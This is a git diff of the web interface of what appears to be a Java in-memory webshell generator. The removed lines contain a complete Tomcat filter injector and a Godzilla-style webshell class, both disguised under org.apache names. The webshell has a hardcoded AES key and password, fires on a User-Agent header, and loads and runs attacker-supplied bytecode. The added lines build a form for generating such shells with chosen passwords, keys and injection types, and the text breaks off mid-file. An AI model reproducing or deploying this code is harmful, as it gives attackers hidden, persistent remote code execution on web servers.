-const injectorClass = `// -// (powered by FernFlower decompiler) -// - -package org.apache.lEfaI; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.zip.GZIPInputStream; - -public class SignatureUtils { - public SignatureUtils() { - try { - for(Object context : this.getContext()) { - Object filter = this.getFilter(context); - this.addFilter(context, filter); - } - } catch (Exception var5) { - } - - } - - public String getUrlPattern() { - return "/*"; - } - - public String getClassName() { - return "org.apache.NpAUp.ErrorHandler"; - } - - public String getBase64String() { - return "H4sIAAAAAAAA/6VYeVhc1RX/XWbgDcPL4pCNLGY1YZ9AgBBIYoCQgAKJIUYj+uljeMCEYWby5g0BSVpr7Wpt7V6721rT9tM2qWYIpmq6qbVbbG1rtav9o6ut3Wtrpb/73pvJDAzJ5+cfc+9995x77jm/s9x758lXHnoEQLWo8yIHLgVuFbnIE1h4SBvR/CEtPOBvCWmxWEdE69MNgbytwXDQ3C7gKi454IFHQBkfH9LHjh3LhxcFClQVczBXoDEQGfYbunZIi0XCfintiN7rH9aHY3oo5DcjwwHN9A9E+m4OhkKaf7cz2BUMmXIbF0UK+DrOa9FtGsHwQKMH8wU84+NR6mTv6VNRKDd0yykPFloaDffV2tTFKpZIqoszHiwVmDs+PqhLW7q0Yd3mWa5iheTxnid4sFJgXpL1gBaKO7yrVayRvAVpFAndOonbZQJLizuyItdYckCybVBRjBIu79P7g2HdYhBYXNzT3N5eMn0ljS2j5k2t3V5UoFKBX8VGVAkUSsZRf8AYi5oRf0swOigxKxjQzfZwzNTCAV2gpHgmePYO0xY2KtgksDKDEovqAX+3HjB080p9rJtfXtSiTsFmFfXYIjB/umw6hds3j5k67XEXl/Q0e1GNRonKVtvALOockHZtV3E5dnCRDCzJ2m5zxvRA3AiaY35q4LA2q2jBTjq4L7IrGNZCDEcK5l4Kdjmo2Bu0jgb0qBmMhBW0CVxm2xbTjZGQbvoHTTPqb2PTbU/s0w/H9Zip4AqB9RdjjUUj4ZhegN3oUNGJLoF82t2m29mxflbQM6YkmHtVXIV9hC0QCZtaMEzYlmXEzqBmdEvN6M3GkuvkjvtVXI0DjFPu2K3HYrRPYE1x0qtZlLZ4GuXaa1UclNqqXLtXMxjizDMvA7pHxfW4gYReLabX1ezUA5E+hs+ibJZIp3pxo4qboAmIUXqC+F/HeQ8C/IhqYyFGewF09CsYUDGIoMClF1bP1qnJ5B69cVO/OIh7eg/pAZMgDiGkYFhFGJGMiLQZ7Ih0MqyweGZ2eXEYhoKYChNxZvs0OktFcn2y+BXNlOJkt8RlnWxGVYzhZoJzFWuoDM4Z20p0jqo4htfR8liG5RuyWD7TcFl3b2EURJNujEkHH1XwRoEVFncw4peZ2GQY2tieuBmNmxSma8Ne3AqXNPvNKt6Ct7JkhPUj50vGguIsMCt4u8Cq89M2uxnUZHql5dk7MrlCIX1ACzUFAnRyGtc7WSHPc+2LU9CwnqJ7cQfulCXj3QJL0rHYP2hEjmi9Id0qBEN4r4r34f1MfyaIFopJqLPgxKRpxwdVfAh32Wl6DeuJ9OPipKEEai9RdghWXn5ExUfxMfLH4r0xp7QtKs6szqk0/gQ+qeBuFZ/Cp5P1J1OkQO4ROZimYVoBHMJnVNyL4wxXM5KspZmeSG13Kz6n4vOy/haYkZSHZdjdp+J+fCGVxa3hZBZnRmBa/Tkh7Twp9cpmWgEewIMKTqlIYIKBn5nC9inNChVk9npkMbZP7R3F00pRZoVtnI1qF1UrsCedTK6Mm8FQZbNljYzYMyq+jIdZY/oj1gHNqn6RMpE8Qh+1C6YNCfP9K7xX9GQtBl9T8XV8ww6VTt0cjPSlTMrYZebq9H0NvT/E8PPbEpg/jzM0erLVr2/iSQXfUvFtfIfxPpsERnkwPBIZoslbskR5FslZstiD77Ge6RYG+50wU/CUQI6s3T9gpMTi4crhYCxQ2dzU3ZqMIMODH8ossz48+LENpX1GkPYT0vp0m/bcTBkpvp8xMG2+5nh/v3TCLxjj2WKK14AWK3LndfB61BUf7tWN/TLx5WUwEtBCBzQjKL+dSbc5GGT6b+t4DbfNRlZrVuzFs5R2YhToZVB0BwfCmhk3dFmbshT2raXbpSSegwuzXrOo7Ihm1CTJ0y4qcikNEcP8XScwp9vUAkOdWtSxs+e1ZVbHrPnLpOOO/Zl3bSdoSODW6TG3z47M4Ii+J6obmUcA2fM0w+B5w9tkqrxmPYfIqsSSp/+qi11fCFyfZvLCMTeWYTRvFhcGhVEUywQiqdnsSLFgB+y6tuwCoFF/I6nEhtn1n6aNx0ipMd2ds100GxWhCCy/kJmKyHfO/VmtUkSBc7W9uBuZ4qlxTBFzZ9zfHNnnD3UxP+3sa9+TJmnldDMdDCPh/uCAFXlqf9oMDb0Qv7z3014jwpehYpck+SC1TzyBS2ZUZTvj6pjAvUyt3BH5VmOVyqwjY9FkLVmQPaMVu3JxK293JG4EdCpF7sLMIlIp19IPEWPAr0W1wKDu74o2XR31txpGxGjTwn0h1j2xyoPCfLEaPh5zmwJ1+sbeem1LoKq2urpG84h1kkRXraqqatlZ11S/ubZ+S31NVd2mupZNm5ta6qvrmqqbNtY0t3jEBsm6mDpdTawqmgb0sOkRpXJyOVXmK8ysqt7kERVyZrUM+wsq1uglW49sbpTNOtmMyuY+Ll7Nd6vAz3ktE/JpD7AvdPolTr/C6ddYfT5Huchj+0t+1VjrgeLSCYjSQrHmlFjL7rJTYj274lOihF3ZKVHOrvKU8J8ELFl8TzsSaikhh31JadkE1r4KEbyKc6EUsQ1uS0R+aZmr7JEJrD/Bjxz8im2epd1KPM92kc2EX4uNloh8/AZPkf5bi/t3HPHp42j1DFe62Zf7Sk+jvKti+V1Q3Mfhzj2D6oOlD4r1CdT4aHNDAtsqyhJoOtElTthIoAStcOEvHG+Fawrz4FbEagXnhMJnrmymSEqfy2Ejpoi3y5mUXK2W/ouIFIhVHtZjLTZQdjFK2T5vYS/9sBa/xx+4Xylt+CNe4Ihap2wsx58sG+Xoz3jR8lYCf7WBy7mfEgqI5Yqys9jd4C4/i/aG3CI37SufxJU5eAwvpn1x4E9gz114rsg9iW6BhjyLunYS1+TgtKhqUEqLFFdCVDcoRXm+3kn05eBxrJHjM2L1wdIEDiUQnRCbipSEqJnEuAvHcXuR2/f6ImUSb3DhDG49OIHbGjyp5WdxOIE3NeQfx7wG7xnccbDIO4F3PVqUX+RJ4D3XsHdbfe4kPiCkhiWu+fMT+HACHy/KT+CeFEXyf9ZN3U6LWkk8v0Dyf5FTx1FQUUZLvyS1mtOQl/w4SUjvxN24B29z+tuhinnCl3JzCJ4pHIVHek/kKcKj4AEFuxW0K9DpT2CKrsufjazw7s+TwPuy/IttaArdyJvJSm8pzYyKfCssDmEp2410fxVUbIKfwVDPVGpDHa7CZtzAr6No4EOwkTpvp9ZN1PtyvkV24ASacRothHYnnqYNz2IXrdgt3LiCYXelmIc9tK1TLECXWI69VqjdxuJwN639G/7OtLmXj5J/4J9s7+Tz+l/4NzyUut+h1vPO+xL+Q93aeK3/L8NPoSwPV7zAOQZbMjg5ehn/k8HJ0SvEKEeOGPyCO+WJxSJHuJiEqrhEuEUucoVqJXSOmEMdBS4Xlzj5X2slMBefnJb3+9PyXqRyQgifKGQrxbnZz+FvQaqilVm8WYRdawlTbaIjLF++zGwthE4+mayjosN3+jQe6iz3PSLO4mwCXy1n/1gCT3RVMAV833U/jMMHXb5z3SRV8GPooKuU4yfOorbjOLZ0+b5vLZeB75bxfcj3dPqSIveMNbkN7rITViHdRg+30tuH6ZlWmifjs0SWoR2yzDDWaq3iMsWgcTvfstbIuZdoljS3GhKZ6ynsRrrtJixjVdyGICX0UnAfdkNHJ/q5xSA3GcAIw1FC00ZJy7BGLGQYuLiyXiwSiymlE+usOTdXVjhzTagVS5xqNSqKGCQS7BGxlGeMEMscr9kylnNkr+Qo6TXqnC//3LK9lg38H2UF/xkHydqZ4J+zwX92Ovg/TV8yDfxzrwL8WlkK0sC3vrODH6Ewg+bHCKhJsUcpIU7BRwjEKAEd4xbjpNxM8I9lgL8iC/grLgL+3BT4T10YfFIvlbxi5f8BJCrTiFwYAAA="; - } - - static byte[] decodeBase64(String base64Str) throws Exception { - try { - Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception var4) { - Class decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null); - return (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - - int n; - while((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - - return out.toByteArray(); - } - - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - - for(Class clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) { - try { - field = clazz.getDeclaredField(name); - break; - } - } - - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = obj instanceof Class ? (Class)obj : obj.getClass(); - Method method = null; - Class tempClass = clazz; - - while(method == null && tempClass != null) { - try { - if (paramClazz == null) { - Method[] methods = tempClass.getDeclaredMethods(); - - for(Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException var14) { - tempClass = tempClass.getSuperclass(); - } - } - - if (method == null) { - throw new NoSuchMethodException(methodName); - } else { - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke((Object)null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); - Object context = null; - - try { - for(Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { - HashMap childrenMap = (HashMap)this.getFieldValue(this.getFieldValue(this.getFieldValue(thread, "target"), "this$0"), "children"); - - for(Object key : childrenMap.keySet()) { - HashMap children = (HashMap)this.getFieldValue(childrenMap.get(key), "children"); - - for(Object key1 : children.keySet()) { - context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - context = this.getFieldValue(this.getFieldValue(thread.getContextClassLoader(), "resources"), "context"); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - - return contexts; - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - filter = classLoader.loadClass(this.getClassName()); - } catch (Exception var9) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); - defineClass.setAccessible(true); - Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } - } - - return filter; - } - - public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { - ClassLoader catalinaLoader = this.getCatalinaLoader(); - String filterClassName = this.getClassName(); - - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { - return; - } - } catch (Exception var15) { - } - - Object filterDef; - Object filterMap; - try { - filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); - filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); - } catch (Exception var14) { - try { - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - } catch (Exception var13) { - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); - } - } - - try { - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); - - Constructor[] constructors; - try { - invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - } catch (Exception var11) { - invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors(); - } - - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception var10) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map)this.getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterClassName, filterConfig); - } catch (Exception e) { - e.printStackTrace(); - } - - } - - public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); - ClassLoader catalinaLoader = null; - - for(Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - catalinaLoader = thread.getContextClassLoader(); - break; - } - } - - return catalinaLoader; - } - - static { - new SignatureUtils(); - } -} -`; - -const shellClass = `// -// (powered by FernFlower decompiler) -// - -package org.apache.NpAUp; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.Filter; -import javax.servlet.FilterChain; -import javax.servlet.FilterConfig; -import javax.servlet.ServletException; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; - -public class ErrorHandler extends ClassLoader implements Filter { - public String key = "3c6e0b8a9c15224a"; - public String pass = "pass"; - public String md5 = "11CD6A87589841636C37AC826A2A04BC"; - public String headerName = "User-Agent"; - public String headerValue = "test123"; - - public ErrorHandler() { - } - - public ErrorHandler(ClassLoader var1) { - super(var1); - } - - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var41) { - return null; - } - } - - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest)servletRequest; - HttpServletResponse response = (HttpServletResponse)servletResponse; - - try { - if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(this.pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - - Object f; - try { - f = ((Class)session.getAttribute("payload")).newInstance(); - } catch (IllegalAccessException | InstantiationException e) { - throw new RuntimeException(e); - } - - f.equals(arrOut); - f.equals(request); - response.getWriter().write(this.md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(this.md5.substring(16)); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception var12) { - chain.doFilter(servletRequest, servletResponse); - } - - } - - public void init(FilterConfig filterConfig) throws ServletException { - } - - public void destroy() { - } - - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); - value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static byte[] base64Decode(String bs) { - byte[] value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null); - value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - - return value; - } -} -`; diff --git a/web/src/components/theme-provider.tsx b/web/src/components/theme-provider.tsx index 4ddf6079..7f038361 100644 --- a/web/src/components/theme-provider.tsx +++ b/web/src/components/theme-provider.tsx @@ -26,9 +26,7 @@ export function ThemeProvider({ storageKey = "vite-ui-theme", ...props }: ThemeProviderProps) { - const [theme, setTheme] = useState( - () => (localStorage.getItem(storageKey) as Theme) || defaultTheme, - ); + const [theme, setTheme] = useState(() => (localStorage.getItem(storageKey) as Theme) || defaultTheme); useEffect(() => { const root = window.document.documentElement; @@ -37,9 +35,7 @@ export function ThemeProvider({ root.removeAttribute(mode); if (theme === "system") { - const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches - ? "dark" - : "light"; + const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; root.classList.add(systemTheme); root.setAttribute(mode, systemTheme); diff --git a/web/src/components/tips/jre-tip.tsx b/web/src/components/tips/jre-tip.tsx new file mode 100644 index 00000000..fedd5cad --- /dev/null +++ b/web/src/components/tips/jre-tip.tsx @@ -0,0 +1,18 @@ +import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx"; +import { InfoIcon } from "lucide-react"; + +export function JRETip() { + return ( + + + + + + +

目标 JRE 版本,一般而言为了最大的兼容性,默认 Java 6 即可。

+

特定情况下,例如 JDK8 才能使用 lambda 表达式,JDK9 以上存在模块限制时才需要选择特定的版本。

+
+
+
+ ); +} diff --git a/web/src/components/tips/url-pattern-tip.tsx b/web/src/components/tips/url-pattern-tip.tsx new file mode 100644 index 00000000..93bf581a --- /dev/null +++ b/web/src/components/tips/url-pattern-tip.tsx @@ -0,0 +1,17 @@ +import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx"; +import { InfoIcon } from "lucide-react"; + +export function UrlPatternTip() { + return ( + + + + + + +

当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

+
+
+
+ ); +} diff --git a/web/src/components/ui/alert.tsx b/web/src/components/ui/alert.tsx index cd0a0627..d457ccb7 100644 --- a/web/src/components/ui/alert.tsx +++ b/web/src/components/ui/alert.tsx @@ -9,8 +9,7 @@ const alertVariants = cva( variants: { variant: { default: "bg-background text-foreground", - destructive: - "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", + destructive: "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", }, }, defaultVariants: { @@ -29,21 +28,16 @@ Alert.displayName = "Alert"; const AlertTitle = React.forwardRef>( ({ className, ...props }, ref) => ( -
+
), ); AlertTitle.displayName = "AlertTitle"; -const AlertDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)); +const AlertDescription = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); AlertDescription.displayName = "AlertDescription"; export { Alert, AlertTitle, AlertDescription }; diff --git a/web/src/components/ui/button.tsx b/web/src/components/ui/button.tsx index 5afa9c46..ef8b515f 100644 --- a/web/src/components/ui/button.tsx +++ b/web/src/components/ui/button.tsx @@ -11,8 +11,7 @@ const buttonVariants = cva( variant: { default: "bg-primary text-primary-foreground shadow hover:bg-primary/90", destructive: "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90", - outline: - "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground", + outline: "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground", secondary: "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80", ghost: "hover:bg-accent hover:text-accent-foreground", link: "text-primary underline-offset-4 hover:underline", @@ -40,9 +39,7 @@ export interface ButtonProps const Button = React.forwardRef( ({ className, variant, size, asChild = false, ...props }, ref) => { const Comp = asChild ? Slot : "button"; - return ( - - ); + return ; }, ); Button.displayName = "Button"; diff --git a/web/src/components/ui/card.tsx b/web/src/components/ui/card.tsx index d886b020..82099ea7 100644 --- a/web/src/components/ui/card.tsx +++ b/web/src/components/ui/card.tsx @@ -2,15 +2,9 @@ import * as React from "react"; import { cn } from "@/lib/utils"; -const Card = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), -); +const Card = React.forwardRef>(({ className, ...props }, ref) => ( +
+)); Card.displayName = "Card"; const CardHeader = React.forwardRef>( @@ -22,11 +16,7 @@ CardHeader.displayName = "CardHeader"; const CardTitle = React.forwardRef>( ({ className, ...props }, ref) => ( -
+
), ); CardTitle.displayName = "CardTitle"; @@ -39,9 +29,7 @@ const CardDescription = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), + ({ className, ...props }, ref) =>
, ); CardContent.displayName = "CardContent"; diff --git a/web/src/components/ui/dropdown-menu.tsx b/web/src/components/ui/dropdown-menu.tsx index cf8229ac..767ced0c 100644 --- a/web/src/components/ui/dropdown-menu.tsx +++ b/web/src/components/ui/dropdown-menu.tsx @@ -152,18 +152,12 @@ const DropdownMenuSeparator = React.forwardRef< React.ElementRef, React.ComponentPropsWithoutRef >(({ className, ...props }, ref) => ( - + )); DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName; const DropdownMenuShortcut = ({ className, ...props }: React.HTMLAttributes) => { - return ( - - ); + return ; }; DropdownMenuShortcut.displayName = "DropdownMenuShortcut"; diff --git a/web/src/components/ui/form.tsx b/web/src/components/ui/form.tsx new file mode 100644 index 00000000..d2465746 --- /dev/null +++ b/web/src/components/ui/form.tsx @@ -0,0 +1,136 @@ +import * as React from "react"; +import * as LabelPrimitive from "@radix-ui/react-label"; +import { Slot } from "@radix-ui/react-slot"; +import { Controller, ControllerProps, FieldPath, FieldValues, FormProvider, useFormContext } from "react-hook-form"; + +import { cn } from "@/lib/utils"; +import { Label } from "@/components/ui/label"; + +const Form = FormProvider; + +type FormFieldContextValue< + TFieldValues extends FieldValues = FieldValues, + TName extends FieldPath = FieldPath, +> = { + name: TName; +}; + +const FormFieldContext = React.createContext({} as FormFieldContextValue); + +const FormField = < + TFieldValues extends FieldValues = FieldValues, + TName extends FieldPath = FieldPath, +>({ + ...props +}: ControllerProps) => { + return ( + + + + ); +}; + +const useFormField = () => { + const fieldContext = React.useContext(FormFieldContext); + const itemContext = React.useContext(FormItemContext); + const { getFieldState, formState } = useFormContext(); + + const fieldState = getFieldState(fieldContext.name, formState); + + if (!fieldContext) { + throw new Error("useFormField should be used within "); + } + + const { id } = itemContext; + + return { + id, + name: fieldContext.name, + formItemId: `${id}-form-item`, + formDescriptionId: `${id}-form-item-description`, + formMessageId: `${id}-form-item-message`, + ...fieldState, + }; +}; + +type FormItemContextValue = { + id: string; +}; + +const FormItemContext = React.createContext({} as FormItemContextValue); + +const FormItem = React.forwardRef>( + ({ className, ...props }, ref) => { + const id = React.useId(); + + return ( + +
+ + ); + }, +); +FormItem.displayName = "FormItem"; + +const FormLabel = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => { + const { error, formItemId } = useFormField(); + + return
- - - 服务不可用! - 未检测到可用后端服务,生成功能暂不可用. - -
); diff --git a/web/src/routes/index.tsx b/web/src/routes/index.tsx index b673bda9..7cb0e50f 100644 --- a/web/src/routes/index.tsx +++ b/web/src/routes/index.tsx @@ -1,30 +1,134 @@ import { MainConfigCard } from "@/components/main-config-card.tsx"; import { PackageConfigCard } from "@/components/package-config-card.tsx"; -import { ShellConfigCard } from "@/components/shell-config-card.tsx"; import { ShellResult } from "@/components/shell-result.tsx"; +import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx"; import { Button } from "@/components/ui/button"; +import { Form } from "@/components/ui/form.tsx"; +import { env } from "@/config.ts"; +import { FormSchema, formSchema } from "@/types/schema.ts"; +import { APIErrorResponse, ConfigResponseType, GenerateResponse, GenerateResult } from "@/types/shell.ts"; +import { transformToPostData } from "@/utils/transformer.ts"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; -import { WandSparklesIcon } from "lucide-react"; +import { ActivityIcon, LoaderCircle, ServerOffIcon, WandSparklesIcon } from "lucide-react"; +import { useState, useTransition } from "react"; +import { useForm } from "react-hook-form"; +import { toast } from "sonner"; export const Route = createFileRoute("/")({ - component: AboutComponent, + component: IndexComponent, }); -function AboutComponent() { +function IndexComponent() { + const { isPending, isError, data } = useQuery({ + queryKey: ["config"], + queryFn: async () => { + const response = await fetch(`${env.API_URL}/config`); + return await response.json(); + }, + }); + const form = useForm({ + resolver: zodResolver(formSchema), + defaultValues: { + server: "", + targetJdkVersion: "50", + debug: false, + bypassJavaModule: false, + shellClassName: "", + shellTool: "", + shellType: "", + urlPattern: "/*", + godzillaPass: "pass", + godzillaKey: "key", + godzillaHeaderName: "User-Agent", + godzillaHeaderValue: "test", + commandParamName: "cmd", + injectorClassName: "", + packingMethod: "Base64", + }, + }); + + const [packResult, setPackResult] = useState("// 等待填写参数生成中"); + const [generateResult, setGenerateResult] = useState(); + const [packMethod, setPackMethod] = useState(""); + const [isActionPending, startTransition] = useTransition(); + + async function onSubmit(values: FormSchema) { + startTransition(async () => { + if (values.shellType.endsWith("Servlet") && values.urlPattern === "/*") { + toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet"); + return; + } + + const postData = transformToPostData(values); + try { + const response = await fetch(`${env.API_URL}/generate`, { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify(postData), + }); + await new Promise((resolve) => setTimeout(resolve, 500)); + if (response.ok) { + const json: GenerateResponse = await response.json(); + setPackResult(json.packResult); + setGenerateResult(json.generateResult); + setPackMethod(values.packingMethod); + toast.success("生成成功"); + } else { + const json: APIErrorResponse = await response.json(); + toast.error(`生成失败,${json.error}`); + } + } catch (err) { + const error = err as Error; + toast.error(`生成失败,${error.message}`); + } + }); + } + return ( -
-
- - - - -
-
- +
+
+ {isPending && ( + + + Pending + 正在全力搜索可用的后端服务~ + + )} + {isError && ( + + + Not Work! + 未检测到可用后端服务,生成功能暂不可用. + + )} + + {data && ( + + + It Work! + Let's start the party! 🎉 + + )}
+
+ +
+ + + +
+
+ +
+
+
); } diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts new file mode 100644 index 00000000..dcd45688 --- /dev/null +++ b/web/src/types/schema.ts @@ -0,0 +1,21 @@ +import * as z from "zod"; + +export const formSchema = z.object({ + server: z.string().min(1), + targetJdkVersion: z.optional(z.string()), + debug: z.optional(z.boolean()), + bypassJavaModule: z.optional(z.boolean()), + shellClassName: z.string().optional(), + shellTool: z.string().min(1), + shellType: z.string().min(1), + urlPattern: z.optional(z.string()), + godzillaPass: z.optional(z.string()), + godzillaKey: z.optional(z.string()), + godzillaHeaderName: z.optional(z.string()), + godzillaHeaderValue: z.optional(z.string()), + commandParamName: z.optional(z.string()), + injectorClassName: z.optional(z.string()), + packingMethod: z.string().min(1, { message: "请选择打包方式" }), +}); + +export type FormSchema = z.infer; diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts new file mode 100644 index 00000000..3a8ce992 --- /dev/null +++ b/web/src/types/shell.ts @@ -0,0 +1,73 @@ +export interface 